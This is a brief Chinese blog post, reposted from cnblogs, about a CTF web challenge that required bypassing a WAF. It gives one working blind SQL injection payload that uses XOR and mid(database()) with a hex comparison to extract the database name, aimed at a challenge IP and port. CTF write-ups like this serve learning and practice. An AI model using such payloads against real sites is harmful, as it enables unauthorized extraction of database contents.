有意思的一道题

长亭出题思路很广啊，666

是一道绕waf的题，一开始被欺骗以为是数字型注入，但过滤了很多很严格，最后才知道是字符型，哈哈哈，payload如下：

http://54.222.188.152:25718/index.php?id=1'^(mid(database()from(1)for(1))in(0x77))^'1#

看来以后还是要多打打比赛，老年人不练练思路跟不上啊

转载于:https://www.cnblogs.com/sherlock17/p/7783445.html